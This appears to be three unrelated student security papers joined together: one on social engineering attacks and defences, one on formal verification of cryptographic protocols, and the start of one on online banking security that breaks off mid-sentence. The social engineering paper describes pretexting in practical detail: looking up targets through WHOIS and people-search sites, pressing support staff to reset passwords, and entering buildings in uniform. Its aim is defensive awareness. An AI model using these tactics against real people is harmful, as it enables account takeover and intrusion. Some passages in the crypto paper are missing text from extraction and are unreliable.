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ABSTRACT 

In this paper, I describe several types of social engineering 

attacks, as well as give a detailed analysis of how it happens. I 

will mention the flaws of some of the security practices that are 

currently being used today, and I will follow up to give possible 

solutions to limit the success of these attacks.  

Categories and Subject Descriptors 

K.6.5. [Management of Computing and Information Systems]: 

Security and Protection – authentication, unauthorized access. 

General Terms 

Security, Human Factors, Verification 

Keywords 

Social engineering, phishing, pretexting 

1. INTRODUCTION 
In a nutshell, social engineering describes a method of intrusion 

that relies heavily on human interaction, and often involves 

tricking other people to break normal security procedures.1 

Social engineering is often overlooked when designing or testing 

the security of a system. This is not surprising, as most of the 

time, social engineering has little to do with technology. Social 

engineers focus on taking advantage of the trust and complacency 

of others, obtaining information that should be kept confidential. 

This way, social engineers completely bypass the need to crack a 

password, or break the defence of a system.  

Furthermore, social engineering can be done even if one does not 

have any technical skill.  The success of a social engineering 

attack depends largely on the policies and procedures of a 

company, their customer service systems, and/or the 

perceptiveness of an individual. Even if one has the technical 

know-how to obtain confidential information, it is easier to trick 

someone into giving you the password for a system than to spend 

the effort to crack into the system.2 

Social engineering covers a broad range of types of attacks. They 

can be divided into two categories – technology based or human 

based. Technology based social engineering requires a fairly high 

level of knowledge in building technologically related tools such 

as websites or malware. Human based social engineering requires 

the attacker to confidently interact with people, as well as to be 

able to think quickly on their feet. Some attacks can fit into either 

category as they utilize both technology and interaction with 

others. 

I will cover two types of attacks from each category. The human 

based methods of attack will be pretexting and physical 

impersonation, while the technology based methods of attack will 

be phishing and malware. 

2. HUMAN BASED SOCIAL 

ENGINEERING 

2.1 Pretexting 

2.1.1 What Is It 
Pretexting is getting private information about an individual under 

false pretenses.3 Some common examples of private information 

include their credit card number, social security number, date of 

birth, or even answers to security questions.  

Most of the time, the attacker never comes into direct contact with 

the victim. The attacker speaks to the victim or those in charge of 

the victim‟s information over the phone, or via email. Usually, 

what the attacker would do is to pretend to be the victim, calling 

up a company which in is possession of the victim‟s private 

information. Such companies usually require monetary 

transactions; therefore they would have the private information 

about the victim.  

What the attacker does with this information is the key phase in 

the attack. The attacker collects this information for the purpose 

of gaining access into the victim‟s web accounts. Separately, these 

bits of information serve little to no purpose. However, the more 

information you are able to collect, the more useful it becomes. 

Once a required amount of information has been collected, the 

attacker begins the attempt to gain access into the victim‟s 

accounts.  

2.1.2 How It Is Done 
The methods used by social engineers are fairly similar. In 

general, they would first identify their target. These targets are 

usually accounts that hold a fair amount of value. Common targets 

for these attacks are unique Twitter usernames, which could be 

worth up to $500,000,4 but most of them range between $16 and 

$325.5 
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After identifying the object of their desire, they look for any 

possible clues to identify the owner of the account. For a Twitter 

account, this could be a link to their personal website, or their 

name itself. If this information is not available, looking at the 

accounts the owner is following usually can give some clues about 

the owner‟s background. If no information can be obtained, the 

target is deemed too difficult to social engineer, and the attack is 

thwarted.  

With the owner‟s personal website or name, publicly accessible 

information is easy to find.6 The owner‟s email would usually be 

found in their personal website, and the billing address can be 

found in phone books. A quick Google search using either the 

name or email address can also yield results. The address of an 

individual can also be found on multiple „people search engines‟, 

such as the White or Yellow Pages.7 

For people living in the United States, it is shockingly easy it is to 

find out the background of an individual. Websites such as 

Intelius allows any user to do a background check on any person, 

finding out information that includes their criminal records, 

marriage/divorce records, and lawsuits, if they are willing to pay a 

fee.8 

 

Figure 1. Intelius free lookup. The full report requires 

payment. The names are censored for privacy. 

If the owner uses a personal domain for his or her website, a 

WHOIS lookup can be done with the numerous search engines 

available. In Figure 2, I do a WHOIS lookup on a company called 

“Facebook”. 

 

Figure 2. WHOIS lookup on Facebook 

I performed more WHOIS lookups on several other personal 

websites, including blogs, comic websites, and news blogging 

sites. I will not present the results here for the sake of their 

privacy, but what I will mention is that the only attempt to keep 

any information private is the censoring of the registrant‟s name. 

All other pieces of information were still available for anyone to 

look at. 

Armed with this information, the attacker begins the actual attack. 

The attacker starts by calling companies that an average person is 

likely to use, such as Paypal or Amazon. The attacker will claim 

that he or she is the owner of the account, and claim that he or she 

has lost their credit card, forgot their password, or lost access to 

their email. 

As absurd as it might sound, with the “evidence” to prove that you 

are the real owner, and little bit of whining, it is possible to get 

the representative to reset the password over the phone.4 Before 

January 2014,9 companies such as GoDaddy allowed people to 

guess the digits of the credit card number, confirming that it is 

correct once you managed to guess it.10 However, such an action 

may not be representative of the company, and it might have just 

been the poor working practice of the support staff. If this was the 

website that you were targeting from the beginning, then the 

attack is complete. 

To demonstrate the use of multiple websites to breach an account, 

certain websites such as Amazon allow a user to view the last four 

digits of their credit card number once they are logged in. In 2012, 

Apple needed only the billing address and the last four digits of 

the credit card number to gain access to the account.11 In this case, 

if the attacker‟s target was the Apple account, they would have 

gotten it indirectly via the help of Amazon and a WHOIS lookup. 

However, this is not the only way attackers can obtain access to 

their target account. Attackers can also extort the victim. On 20 

January 2014, Naoki Hiroshima lost his $50,000 Twitter 

username due to extortion.10 Attackers managed to gain access to 

Hiroshima‟s GoDaddy account, which hosted his personal data on 

his domain. The attacker then threatened to wipe out Hiroshima‟s 

GoDaddy account if he did not give up his Twitter username. 

Hiroshima complied, gaining his GoDaddy account in exchange 

for his Twitter account.  

You may have noticed by now that a pretexting attack is very hit 

or miss in nature, and that there is no clear cut method of carrying 

out the attack. The result of a pretexting attack depends largely on 
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the usefulness of the information the attacker can obtain, and the 

security policies that the target companies have. Sometimes, if a 

one support representative does not cave in to whining, put the 

phone down, call again, and you might get a different support 

representative who might. In the attack for Hiroshima‟s Twitter 

account, the attacker initially attempted to directly attack 

Hiroshima‟s Twitter account by stating that he has lost access to 

both his email and his Twitter account. However, the attacker 

failed to convince Twitter to reset the password through a 

different email address, so the attacker chose an alternate path of 

attack. 

2.2 Physical Impersonation 

2.2.1 What Is It 
While pretexting is impersonation and information gathering done 

over the phone or the Internet, physical impersonation involves 

the attacker personally being in the target location. The attacker 

pretends to be someone who would be allowed to enter the 

premises without question, usually by dressing up as a 

maintenance worker. Once entry is obtained, the attacker then 

proceeds to do whatever needs to be done (i.e. the attack), as long 

as he or she does not draw too much attention. 

2.2.2 Gaining Entry 
The process of gaining entry can possibly still require a fair bit of 

pretexting. In 2010, a conference known as The Next HOPE 

featured Emmanuel Goldstein tricking an employee over the 

phone into allowing him to enter the building.12 Goldstein did this 

by claiming that he was someone from Verizon, a telephone 

company, and that he had to do checks in the building. Goldstein 

also managed to convince the employee that he would be arriving 

in an unmarked van, because Verizon was short on vans.  

In general, the easiest way to gain entry into a company building 

is to disguise oneself as a maintenance worker, such as an air-

conditioning repairman or a cleaner. Any uniforms or badges that 

are required can be easily obtained online, or from a uniform 

store. The receptionist or security will then proceed to escort you 

into the building, right into the offices. Here, you are left to do 

your job, often without observation or an escort.13 

Let us look at what we can do once we have gained entry. 

2.2.2.1 Baiting 
Baiting is the act of leaving infected storage devices such as USB 

drives or CD-ROMs around the office, and hoping that a curious 

or greedy employee decides to use these devices by inserting it 

into their computer. 

These storage devices contain malware or keyloggers, and when 

used, will infect the computer. If that particular computer is 

connected to the company network, or it contains confidential 

information, then it has been compromised.  

While this might sound implausible, a test done by Secure 

Network Technologies, a security audit firm, has shown that 

employees are highly likely to plug random USB drives into their 

computers. What Secure Network Technologies did was to scatter 

twenty USB drives around the building. Fifteen of these were 

picked up, and all fifteen of them were plugged into company 

computers.14 If these USB drives contained malicious software, at 

least fifteen computers in the company would have been infected. 

2.2.2.2 Shoulder Surfing 
Shoulder surfing is the act of looking over the shoulder of the 

victim, looking out for valuable information from the screen or 

keyboard. Such information can include the password, which is 

gained by looking at the keys the victim presses on the keyboard. 

This is usually made easier through the use of miniature closed-

circuit television cameras. Worse, some people still write 

passwords on sticky notes, which are then pasted somewhere on 

their work desk. 

A survey of IT professionals in a white paper15 for Secure found 

that 85% of those surveyed admitted to seeing sensitive 

information on screen that they were not authorised to see. These 

were genuine workers who were not on the lookout for sensitive 

information. Someone purposely looking for sensitive information 

would easily find the information they want. 

2.2.2.3 Absolutely Anything 
Once you have gained entry, there is really no hard and fast rule 

as to what attackers will or will not do. While there might be 

categories of attacks as seen above, attackers can choose to 

employ a variety of attacks, as and when the chance appears for 

them.  

The attacker can choose to crawl around from cubicle to cubicle, 

installing keyloggers onto computers. If an open port can be 

found, a wireless device can be plugged into it, which the attacker 

can later use to hack into the environment. If keys are left lying 

around on the tables, especially the key to a restricted room, or 

keys to a vault, the attacker can make a copy of the key simply by 

taking a picture of it with his or her phone, then sending the 

picture to someone who offers key making services from photos.16 

The owners of the key will not even notice anything suspicious 

because the original key is not touched or moved at all. 

3. TECHNOLOGY BASED SOCIAL 

ENGINEERING 

3.1 Phishing 

3.1.1 What Is It 
Phishing is the act of obtaining private information by means of 

trickery. Phishing is usually done through email and websites.  

3.1.2 How It Is Done 
The attacker sends an email that looks as if it came from a 

legitimate source, claiming that the reader needs to verify some 

information, usually by logging in to their website. The email 

would also state that there will be dire consequences if this 

verification is not done, thus scaring the user into being tricked. 

Sometimes, the opposite is done – attackers capitalize on the 

victim‟s greed. An offer you cannot refuse is proposed to you, and 

you would have to log in to claim those prizes. However, the 

verification link in the email does not lead to the legitimate 

website, but a clone of it. When an unsuspecting user keys in his 

or her username and password and submits it, it is sent to the 

attacker.  
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Figure 3. Phishing website. Notice the website address. It does 

not use the standard NUS domain. The grey toolbar near the 

top is not aligned properly. 

Phishing is not always done through email. Sometimes, a website 

with a similar address is created, and the attacker hopes that the 

user will enter the web address wrongly. For example, if the user 

wanted to access „www.neopets.com‟, he or she might 

accidentally type in „www.neopest.com‟, which will lead the user 

into a clone of the legitimate website. If the error is not spotted, 

the user would proceed to key in his or key username and 

password, giving the account away. 

3.2 Malware 

3.2.1 What Is It 
Malware is a type of software that can disrupt the operation of a 

computer, or gain access to it. Malware can also gather sensitive 

information, which is in line with the recurring theme of this 

paper. Malware is usually installed without the knowledge of the 

user, and depending on the nature of the malware, the user cannot 

tell that they have malware installed on their computer. 

As a result, the malware can sit in the user‟s computer for months 

or even years, gathering as much information as it likes. If the 

malware is present on a company computer containing 

confidential information, the owner of the malware would have 

access to all of it. 

3.2.2 How It Is Done 

3.2.2.1 Popups 
Malicious popups appear when the user is browsing the Internet 

using a web browser. These popups trick the user into clicking 

them the same way phishing emails do – there is a threat to their 

computer, or that they have won a prize. 

 

Figure 4. Examples of malicious popups17 

In the examples above, we can see that these popups can be tricky. 

Clicking anywhere on the popup will commence the installation 

of the malware onto your computer. This means that even clicking 

“no” will result in the installation of malware. The proper way to 

close these popups is to click on the big red “X” on the top right 

corner of the window. That button is not part of the popup, but 

part of the browser window. 

3.2.2.2 Email Attachments 
While phishing emails lead the user to a legitimate looking 

website, email containing malware lead the user to downloading 

malware onto their computers. Again, the same tactic is used - the 

email attempts to get the victim to download the attachment using 

various persuasive reasons.  

 

 
Figure 5. Email with attachment containing malware18 

The dangerous part of these attachments is that they look 

completely safe. Many people might know that .exe files can be 

dangerous, but they believe that .txt or picture formats are 

harmless. However, it is completely possible for an attacker to 

disguise a malicious file with fake file extensions. The Windows 

operating system does not display file extensions by default, and 

the “Unitrix” exploit allows attackers to reverse the order of 

characters in a file name, so that the file extension appears in the 

name of the file itself. 18 
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Figure 6. scr file extension disguised as an mp3. Notice that the 

filename contains RCS, which is the reverse of scr.19 

Once downloaded, the malware will be installed into the user‟s 

computer when the file is opened.  

3.2.2.3 “Technical Support” 
The “technical support” method of social engineering usually 

involves a “technical support” representative from a reputable 

company calling the victim about a problem on his or her 

computer. The problem usually involves the discovery of malware 

on their computer.  

Once the attacker has obtained the victim‟s attention, the attacker 

will proceed to attempt to prove that they are legitimate by 

spewing forth lots of technical mumbo-jumbo. However, while 

this technical mumbo-jumbo might look intimidating and scary, 

the attacker merely gets the victim to enter perfectly safe 

commands on their computer, such as the “tree /f” on the 

Windows operating system, or “pstree” on Linux. These 

commands print multiple lines of code, making it look like these 

“technical support” representatives know what they are doing.  

Once they have convinced the victim, the attacker proceeds to get 

the victim to install the necessary software in order to remove the 

malware. However, instead of getting the victim to install an 

antivirus program, they get the victim to install malicious software 

that provides the attacker remote access to the victim‟s 

computer.20 Alternatively, the attacker can request that the victim 

pay a fee to get the malware removed. This is obviously a scam, as 

malware removal is not a chargeable service. 

4. PROBLEMS AND SOLUTIONS 

4.1 Weak Methods of Authentication 
Currently, a very common method of authenticating a person who 

calls the company helpline is to ask for their personal particulars 

or credit card number. As seen in the section on pretexting, most 

of the time, attacks are successful because the attacker managed to 

obtain such information because they are publicly available for 

anyone to access and view. 

Such public information should not even be used to authenticate 

the identity of anyone. It would be similar to publicly displaying 

your account passwords after creating it. Authentication must be 

done with a private piece of information that no one has access to. 

However, it is difficult nowadays to find a piece of information 

that is both private and easily remembered.  

Do note that I am not referring to two-factor authentication, which 

is only done when logging in to a website. People can claim that 

they have lost their authentication device, and the authentication 

to restore access to their accounts after this mishap is what I am 

referring to. 

4.1.1 Solution: Personal Multifactor Authentication 
I shall propose unorthodox methods of authentication here, and I 

do believe that they are far more secure than the current systems, 

and I hope that they can be used by companies in the future. 

Personal multifactor authentication is a system where, on account 

creation, users are required to submit a photo of themselves, with 

the top half of their body visible. The facial features must be 

clearly seen. These photos will be similar to criminal mug shots, 

but without holding up the board. These photos are kept in the 

servers of the product they are using.  

 

Figure 7. Mug shot21 

When the user performs any action that requires the authentication 

of their identity, the customer service representative will request 

the user to write down a nonce on a piece of paper, then take a 

picture of him or herself holding up that piece of paper with the 

nonce. The user will send this picture back to the customer service 

representative, who will verify that the nonce is correct, and the 

person in the photo closely resembles the one in the photo that is 

stored in the server. The user will have to do this in the next 15 

minutes, or the nonce will be considered invalid. 

I do recognize that there are loopholes in this system. The 

presence of twins and look-alikes will completely invalidate this 

system. However, the chances of having both a look-alike and 

having that look-alike want to carry out malicious activity is far 

lower than an attacker being able to obtain public information 

about you.  

However, I believe this system comes with many strengths. The 

presence of a nonce prevents any sort of replay attack, so no one 

can reuse photos that have previously been used. The fact that the 

user has to take a picture of him or herself holding up something 

handwritten on a piece of paper prevents any sort of 

impersonation or doctoring of the photo, especially since a time 

limit is enforced. 

Currently, one of the strictest multifactor authentications I have 

seen is from Blizzard, the video game company that created 

World of Warcraft. Blizzard offers an authentication token that 

can be linked to your account, so that all logins will require the 

user to enter the code generated by the token. This is typical for 

many companies who value security. However, if the token is lost 

or spoilt in any way, Blizzard requires you to send a photo of your 

government-issued identification that is held near the user‟s face, 

and another photo with the identification held near a daily dated 

publication, such as a newspaper or magazine.22 This method of 
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verification is very similar to my suggested method, and it 

provides a very high level of security as well. 

4.2 Inconsistent Systems of Security 
I mentioned previously that Amazon allowed any user logged in 

to view the last four digits of their credit card number, and that 

Apple required these last four digits to regain access to an 

account.  

With some companies freely revealing information that other 

companies use to verify the identity of the person contacting 

them, an attacker can hop through multiple accounts to gather the 

information that they need to access a target account.  

4.2.1 Solution: Standardized Guidelines 
I propose that a proper set of guidelines should be set up by an 

association, such as the Association for Computing Machinery 

(ACM), or the National Institute of Standards and Technology 

(NIST). These guidelines should ensure that no two companies 

have conflicting methods of releasing or requiring information. 

This means that company A should not easily give out 

information that company B uses to authenticate their users. 

To further strengthen these guidelines, these guidelines could be 

looked at and enforced by the governments of countries around 

the world. For a start, the United States of America has a petition 

system where if a petition gets 100,000 signatures within 30 days, 

it will require a reply from the White House administration.23 As 

one of the superpower countries, a guideline proposed by the 

United States of America would have a high likelihood of having 

other countries follow suit. 

4.3 Easily Accessible Public Information 
This problem, in my opinion, is the main cause of pretexting. Too 

much information is easily found online, and the fact that 

companies use this same information to verify users only 

exacerbates the problem. If no information can be found about 

you, there is very little chance that an attacker can successfully 

gather enough information. 

Furthermore, some methods to reset your password require 

information that is too easily obtained. One such example are 

security questions, which often include questions such as “What is 

your mother‟s maiden name?”, or “Where did you go to high 

school?”. Such information can either be found online, or from 

daily conversations. 

4.3.1 Solution: Make Your Information Private 
I propose that when signing up for an account which has access to 

items of value (banks, E-commerce, Apple cloud), one does not 

use a publicly displayed email that used for contact or business. 

This is an email that will never appear anywhere on the World 

Wide Web, and it is not used for blogs, Twitter accounts, or 

Facebook. When this email is put into a search engine, there 

should be no results, because it should not be publicly displayed 

anywhere.  

You can also take steps you delist yourself from background 

check websites such as Intelius and White Pages.24 This will 

severely hinder the efforts of anyone trying to gain public 

information about you. 

WHOIS checks can also be made private. Take the time and effort 

to enable this setting so that attackers cannot find your address, 

full name, and telephone number from your personal domain. 

4.4 A Lackadaisical Attitude, Societal Norms 
A recurring theme that has been popping up is the willingness for 

employees to give out information, or letting strangers into their 

offices. The fact that an employee allows the customer to guess a 

few digits of their credit card number, or succumb to the 

customer‟s whining is a sign of poor work attitude.  

Also, I have personally seen people let others in just because they 

stood outside and knocked on the door. It is also a courtesy to 

hold a door open for people behind you to enter, even if a security 

pass is required to open the door. This can be attributed to the 

societal and behavioural norms that we have grown up with. 

Questioning people who tailgate you through a door might invite 

stares, and not everyone is comfortable with standing up against a 

random stranger. Asking them to back off and closing the door on 

them so that they can use their own security pass can be 

considered rude. 

4.4.1 Solution: Strict Rules and Periodic Penetration 

Tests 
Strict rules need to be implemented in the company, and training 

needs to be implemented before it. Employees who interact with 

the public are particularly important when it comes to this. This 

includes those who are in call centres, those who manage emails, 

receptionists, and security guards. All employees need to be aware 

of the potential security lapses that could occur when they let a 

stranger in through a door. If everyone in the company practiced 

the enforcement of security, they would not be uncomfortable 

questioning tailgaters, or closing the door on them. 

If any maintenance worker or anyone in uniform attempts to gain 

entry into the offices, the receptionist or security guard must 

ensure that that person is supposed to be there on that day and 

time. Therefore, any sort of meeting or maintenance that has been 

scheduled need to be passed down to the receptionist so that he or 

she can verify. 

Finally, all systems need to be tested. To ensure that your 

employees are putting the training into practice, conduct a 

penetration test. Have someone try to gain someone else‟s 

password, and have someone try to enter the offices even though 

they should not be there. This will tell you where the weak points 

of your system are, as well as point out employees who are 

displaying a lackadaisical attitude towards security. 

4.5 Insecure Systems 
In the physical impersonation section, I mentioned that both 

attackers and employees have the ability to plug in USB devices 

or insert CD-ROMs into company computers. When this is done, 

the computer grants full access to these storage devices, resulting 

in the installation of malware or keyloggers. 

4.5.1 Solution: Lock Down Media Devices 
Symantec offers PGP Endpoint, a client that denies access to all 

USB drives by default.25 Each individual USB device has to be 

approved before it can be used on a computer with PGP Endpoint 

installed. It is also possible to give different levels of permissions 

for a USB device, meaning that people with more privilege can 

access USB devices that hold more sensitive information.  

If such software was installed on all company computers, the 

baiting attack will cease to work, and attackers will not be able to 

do any harm even if they plugged in a malicious USB device to a 

USB port.  
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Also, if some devices are not used, such as the CD-ROM drive or 

Bluetooth, it is a good idea to disable it, preventing anyone from 

loading malicious programs, whether accidental or not. 

This solution agrees with Salzer and Schroeder‟s paper on good 

design principles for building a secure system.26 One of the key 

points they mentioned is to have fail-safe defaults. This means 

that access decisions should be based on permissions, rather than 

exclusion. Simply put, the default is no access. 

5. CONCLUSION 

5.1 Are Humans The Weak Link? 
Computing professionals have been focusing heavily on the 

technical security of the systems that are in place in the world 

today. Today, we have two-factor authentication, AES-256 

encryption, sandboxes, freely available antivirus programs, and 

many access control systems put in place to govern the reading 

and writing of files off and on the computer. These safety 

mechanisms make it nearly impossible for an attacker to break 

into a system. 

However, when the people behind these systems freely let 

unverified people into their premises, or give out information that 

is supposed to remain private, the safety mechanisms that have 

been put into place fall apart. Creators of security safety 

mechanisms often neglect the fact that humans are the ones 

operating these mechanisms, and a lock is useless if the person 

guarding the key decides to give the key away. 

Attackers have realized this, and since all an attacker needs to do 

is attack the weak link in the security of a system to compromise 

it, attackers naturally gravitate towards this weak link. 

The sooner security professionals realize that security is not all 

about the technical aspects, but that the people operating the play 

an equally important part of security, the sooner everyone will 

benefit from the improvement of security. 
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1. INTRODUCTION 

1.1  What is a cryptographic protocol? 

 
 A protocol is a series of steps agreed upon by a group of people in 

order to accomplish some task. It must be well defined and no 

chance of a misunderstanding. It must also be complete, i.e. there 

must be a specific action for every possible situation. A 

cryptographic protocol is one that uses some cryptographic 

algorithm to ensure the confidentiality, integrity, non-repudiation of 

the communication.  

One example is the Diffie-Hellman Key Exchange protocol. The 

main idea of this protocol is the use of a one-way function (trap 

function) to prevent eavesdropper from obtaining the key. The 

objective of the protocol is to establish a common secret, which is 

used later.  

1. Alice and Bob agrees on a large enough finite cyclic group G and 

a generating element g in G  

2. Alice picks random natural number a and sends ga to Bob  

3. Bob picks random natural number b and sends gb to Alice  

4. Alice computes (gb)a = gab  

5. Bob computes (ga)b = gab  

 

Then Alice and Bob will share a common secret gab and any 

eavesdropper will have to brute-force all the elements of G even if 

he knew g. 

 

1.2  What is formal validation of cryptographic protocol? 

 

 Formal verification uses mathematical methods to prove that a 

certain cryptographic protocol is ‘safe’. According to (Avalle, 

Pironti, & Sisto, 2014), there are two main-lines of research in this 

area. One area uses symbolic reasoning in automatic theorem 

proving under the Dolev-Yao model to prove that the protocol is 

secure. However, this gives more complex results compared to the 

real world security goals. The other hand, there is a computational 

approach that is closer to reality and gives more realistic security 

assurance at the expense of increased difficulty in proof 

automation. 

2. Symbolic Models 

 

2.1  Symbolic validation of cryptographic protocols 

 
 The main idea of symbolic validation of cryptographic protocols is 

using first order logic to model the protocol and attacker. In 

(Blanchet, An Efficient Cryptographic Protocol Verifier Based on 

Prolog Rules, 2001), the author used π-calculus to introduce an 

abstract model in Prolog, for example, the term 

pencrypt(c0,pk(sk)) represents the encryption of c0 under the 

public key pk(sk), with the corresponding secret key sk. The facts 

are of the form attacker(M), meaning that the attacker has message 

M. The syntax is described in page 6 of (Blanchet, Automatic 

Verification of Correpondences for Security Protocols, 2008). The 

author also uses Dolev-Yao Model which assumes that:  

1. The underlying public key system is perfectly secure  

2. Adversary has complete control over the entire network  

3. Concurrent executions of the protocol can occur  

 

We will use Needham-Schroeder public key protocol to 

demonstrate the use of a cryptographic protocol prover (Blanchet, 

Allamigeon, & Smyth, Online Demo for ProVerif). The Needham-

Schroeder protocol:  

1. A -> S : A, B  

2. S -> A : KS(KB, B)  

3. A -> B : Kb(Na, A)  

4. B -> S : (B,A)  

5. S -> B : KS(KA, A)  

6. B -> A : KA(NA, NB)  

7. A -> B : KB(NB)  

,where we assume that A and B have secure symmetric 

communication with S using keys Kas and Kbs, respectively; Kab 

is the symmetric session key for both A and B. Na and Nb are the 

nounces.  

We appended the code for ProVerif in Appendix 1. In Appendix 1, 

lines 23 - 25 define the encryption and decryption of the public 

keys. Lines 27 - 30 defines the signatures using private keys 

(spkey, sskey). Lines 32 -33 define the symmetric encryption and 
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decryption with nouce. Lines 35-37 states that the attacker does not 

have the private keys of A, B and S. Lines 62-80 define the 

protocol.  

Lines 45-48 ask whether attacker can have the secret messages 

between A and B. Lines 57-60 ask if it is possible for a session to 

start before it has ended. These lines are the lines that define all the 

possible attacks in addition to some pre-defined attacks in the 

program.  

We also appended the results from ProVerif on the Needham-

Schroeder Protocol. It shows that the secrecy of the keys and the 

messages are maintained. However, the sessions can 'end before it 

can be started', which suggest a possible man-in-middle attack.  

We see that it can be difficult to translate some full protocols and 

attacks into the language and interpret some results. In addition, it 

maybe hard to take into accounts of tiny breaches like finding the 

significance of the first bit of the message.  

There are also complexity issues so we cannot fully verify the 

security of a protocol since there can be unlimited number of 

sessions cause the problem of verification of security protocol to be 

un-decidable. The limited number of session variant is NP-

complete so may not terminate in time. 

 

3. Computational Models 

3.1 Computational Protocol Models 
Computational Model usually refers to the Bellare-Rogaway Model 

of the paper (Mihir Bellare, 1993). In the original paper, the 

protocols that can be considered by the model are two party ones. It 

is formally specified by an efficiently computable function on the 

following inputs:  

1k - the security parameter  

i - the identity of the sender  

j - the identity of the (intended) recipient  

a - the secret information of the sender  

κ - the conversation so far  

r - the random coin flips of the sender  

The value of    specifies:  

m - the next message to send out  

δ - the decision  

α - the private output  

The protocol also includes a key generator for generating keys. It 

takes in the security parameter, the identity of sender and an 

infinite string of 0 and 1. It generates keys for protocol 

participants.  

To run the protocol means to conduct the following experiments:  

generator above, to generate keys for the sender and each recipient. 

We suppose that the adversary has that randomly chosen string.  

nounce.  

 

then get message and the decision of whether 

the message is being accepted  

 

Authenticity is established using by matching conversations.  

Although many proof of the desired security properties of protocols 

are often done by hand, there are automatic reasoning tools that 

reason about these properties in computational model. 

 

4. Is Provably Secure enough? 
According to (Blanchet, Security Protocol Verification: Symbolic 

and Computational Models), security models ignores many 

important physical attacks such as side-channel attacks that 

exploits patterns in power consumption, timing , noise, and fault 

attacks that introduce faults into the system in order to break it.  

Currently, there are no computational models for proving physical 

attacks as mentioned above. So being proven secure in a model 

may not guarantee that no unexpected attacks are possible. 
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ABSTRACT 

This paper would give an overview of the history of online 
banking, followed by an introduction on the various techniques 
and devices employed by the banks to ensure that their online 
banking systems remain secure. We would also discuss the 
various attacks against online banking systems and the 
countermeasures taken by banks to prevent such attacks. To 
conclude the paper, there would be a case study done on DBS 
Bank Ltd to discuss the timeline of its online banking security 
system.  

Categories and Subject Descriptors 
K.6.5 [Management of Computing and Information Systems]: 
Security and Protection – multi-factor authentication.  

General Terms 
Security. 

Keywords 
Online banking, PIN/TAN System, Two Factor Authentication, 
Man-in-the-browser, DDoS, Phishing, Pharming.   

1. INTRODUCTION 
The idea of an online banking system first came to fruition in the 
1980s when the Bank of Scotland offered the first Internet 
banking service in the United Kingdom called ‘Homelink’. This 
service allowed customers to send fund transfers and pay bills via 
a television set and a telephone. A decade later, Stanford Credit 
Union created the first online banking website. The customer 
demographic of banks soon shifted to serve the needs of the 
Millennial Generation, which is a generation that was familiar 
with using digital technology in their lives. As such, online 
banking became a popular avenue for customers to fulfill their 
banking needs.  

By 2001, it was reported that 19 million US households were 
accessing bank accounts online (Online Banking Report, 2012). 
Another decade later, online banking has advanced to a stage 
where some banks no longer even have brick-and-mortar bank 
branches. This shows the extent to which people are relying on 
online banking in today’s society. Online banking systems does 
have flaws and are susceptible to attacks, which is why banks 
focus heavily on security measures to keep their websites safe 
from malicious parties.  
 

2. SECURITY MEASURES AND DEVICES 
This section would cover the security measures and devices 
employed by online banking systems, namely the PIN/TAN 
system and Transport Layer Security (TLS).  
 

 
2.1 PIN/TAN System 
One of the ways in which online banking systems use to protect 
their customers would be the PIN/TAN system. PIN (Personal 
Identification Number) is a password that the customer uses to 
login to the online banking system whereas TAN (Transaction	  
Authentication Number) is a one-time password used to 
authenticate transactions between the customer and the system. 
The most popular form of distribution for TAN would be to 
generate them via a security token. The presence of such security 
tokens results in a 2FA (two factor authentication), which means 
that the security token is useless without the presence of the PIN 
and vice versa. Therefore, the probability of a successful attack 
occurring is lowered.  

There are a variety of security tokens available on the market. The 
most common type of security tokens used in two-factor 
authentication would be the disconnected security token. 
Disconnected tokens do not have a physical or logical connection 
to the computer that is being used to access the online banking 
system.  

	  
Figure 1. Example of a disconnected security token. 

Most of these security tokens utilize the RSA SecurID 
mechanism. This mechanism generates an authentication code at 
fixed intervals using a built-in clock and the card's factory-
encoded random key. This key is unique to the token that it is 
placed in, which means that no two tokens would have the same 
key. The server, which also has a real-time clock and a database 
of the tokens and the associated keys, authenticates a user by 
computing the number the token is supposed to be showing at that 
moment in time and checking this against what the user entered 
into the online bank system. However, it is possible for the 
authentication server's clock to become out of sync with the clock 
built into the authentication tokens. Therefore, such tokens are 
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replaced and updated with added security functions by the banks 
every couple of years.  

2.2 Transport Layer Security  
Transport Layer Security (TLS) is an overall security protocol that 
encompasses Secure Sockets Layer (SSL). SSL is an 
implementation of public-key encryption scheme used by Internet 
browsers and Web servers to transmit sensitive information such 
as personal banking information. SSL does this by encrypting 
information that is send from the browser. It also decrypts and 
authenticates the message received at the server. In order to 
encrypt, decrypt and authenticate messages, SSL employs the use 
of digital certificates. These digital certificates contain the bank’s 
name and other information that is used to confirm that a bank 
owns a particular digital certificate.  

SSL uses two types of digital certificates, namely the root 
certificate and the server certificate. Root certificates are installed 
on the browser whereas server certificates are installed on the 
Web server. The function of a root certificate is to allow the 
browser to accept certificates that are signed by the owner of the 
root certificate. A server certificate encrypts the messages that are 
sent to browsers and decrypts messages that are received from 
browsers. Nowadays, most computers come pre-installed with 
certificate authorities that help to issue and verify the identity of 
digital certificates. 

The encryption/decryption process begins when the user browses 
to the Web server’s site. In the context of this paper, it would be 
the website of an online banking system. Websites that require an 
SSL connection would begin with ‘https://’ rather than ‘http://’. 
Hyper Text Transfer Protocol Secure (HTTPS) is a secure version 
of the Hyper Text Transfer Protocol (HTTP), which is used for 
transactions such as online banking. Users of online banking 
should check that the browser displays secure connection to 
ensure that messages are transferred via SSL.   

                
 Figure 2. Example of a secure website. 
Once the user’s online banking session has started, a unique 
public key is created for the browser using the root certificate. The 
message that the browser sends is encrypted using this public key. 
The message is then received by the bank’s Web server and 
decrypted using it’s own private key. This method used by SSL 
does not prevent interception of messages by third parties. 
However, the message that the third party would obtain would be 
useless as they are unable to decrypt the message without the Web 
server’s private key.  

 
Figure 3. SSL encryption/decryption. 

Through the use of digital certificates and public/private keys, 
SSL helps to ensure that the user is communicating with the bank 
and not a malicious third party. It is not possible for the third party 
to obtain the bank’s server certificate and if he uses a certificate 
that is not validated by a certificate authority, the browsers would 
issue alerts to the users.  

However TSL/SSL does have its vulnerabilities as well. One 
example is the ‘Heartbleed SSL bug’ that was discovered and 
made publicly known in April 2014. This vulnerability affected 
the OpenSSL implementation of TSL/SSL and allowed attackers 
to gain access to credentials such as passwords. Even the most 
secure of systems have flaws, therefore maintaining security is an 
act that requires constant maintenance, surveillance and 
improvement.   

3 ATTACKS  
Online banks are susceptible to many forms of attacks by 
malicious parties due to the sensitive information available such 
as credit card numbers and bank account details. With enough 
information, malicious parties are able to rob the bank customers’ 
of their money. The most common forms of attacks on online 
banks today consists of phishing, pharming, man-in-the-browser 
and denial of service. Most of these attacks utilize the use of 
Trojan horses.  

3.1 Trojan Horses 
A Trojan horse, just like the Trojan horse the Greeks used to enter 
